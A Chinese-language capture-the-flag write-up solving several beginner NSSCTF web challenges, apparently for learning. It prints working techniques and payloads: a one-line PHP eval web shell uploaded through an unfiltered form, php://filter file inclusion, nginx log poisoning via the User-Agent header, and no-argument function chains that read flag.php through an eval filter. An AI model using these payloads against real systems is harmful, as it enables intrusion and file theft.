[Week1]Interesting_http
题目提示:Give me your want!
POST方式传参want参数,先随便传want=1;
题目问你想要什么,肯定是flag呗,传参want=flag;提示不是admin
将数据包中的Cookie:user=notadmin修改为user:admin
接着就是提示不是本地;这是就是在数据包中添加xff头,拿到flag;
[Week1]2048
题目提示:你能达到20000分吗 获得的flag以NSSCTF{}格式提交
这个游戏就是叫做2048,原型游戏是通过四个方位键进行相加,最终出现2048便成功,但是这里的题目是让我们得到20000分;先查看网页源代码,发现了2048.js文件;
在js文件中发现了,当分数大于20000分的时候,弹窗,里面 String.fromCharCode()函数的作用:函数用于从一些Unicode字符值中返回一个字符串;之后我们将unicode字符值尝试转换为字符串;
[Week1]easy_html
抓包看看Cookie中存在着什么东西先;
提示flag在./fl4g.php中;尝试访问,结果如下:
输入手机号,进行登录,先随便输入一下看看回显,顺便抓包看看是什么;在这里发现手机号是11位的,但是我们只能输入10位,修改一下前端的代码再进行输入即可;之后随便输入11位的数字便得到了flag;
[Week1]Interesting_include
题目提示:web手要懂得搜索
<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
代码审计:通过GET方式进行传参filter,结果赋值给变量file,我们输入的参数中的值必须存在着flag;尝试使用伪协议php://filter/read=convert.base64-encode/resource=flag.php即可;
[Week1]easy_upload
文件上传,先随便上传一个文件看看能不能上传php的文件,这里我上传的是一个1.txt文件,通过抓包修改了后缀名,但是并没有修改MIME的格式;发现是可以上传的,接下来就是看文件中的代码是否在上传的时候存在着校验;并没有什么过滤;
<?php eval($_POST[1]);?>
之后便是通过访问文件的位置,我没有去连马,直接post传参了;
[Week1]What is Web
<!--f|l|a|g|is|base64decode(TlNTQ1RGe0hlbGwwX1dlYmVyX1dlYzBtM19jb21lXzJfd2ViX3cwcjFkIX0=)-->
首页就是上面的样子,这个题本以为会很难,找了办法,抓包,扫目录,没想到flag就在网页的源代码中,隐藏的很深,好好找找即可(在最后一行)
[WEEK2]easy_include
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
又是文件包含,发现过滤了php,flag,data也就是说data和php伪协议就不能使用了,看看数据包;发现是nginx,日志文件试一试?
可以访问到内网文件,接下来尝试访问nginx的日志文件,默认日志文件存在/var/log/nginx目录下的access.log文件中,发现还是可以访问的,接下来就是在数据包的UA中嵌入我们的php代码。
[WEEK2]Canyource
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>
please input code ;关键代码是
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
通过一个preg_replace()函数替换匹配到的字符为空,其中的\W代表着匹配数字、字符、下划线,然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;这里用到的只能是不带参数的函数,即无参数函数的命令执行,以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件
记得在ctfshow中做到过这样的题目,使用print_r(scandir(current(localeconv())));来查看当前目录文件名:
之后取反,再取next,将flag.php文件名取出来,进行读取:
?code=print_r(next(array_reverse(scandir(current(localeconv())))));
?code=readfile(next(array_reverse(scandir(current(localeconv())))));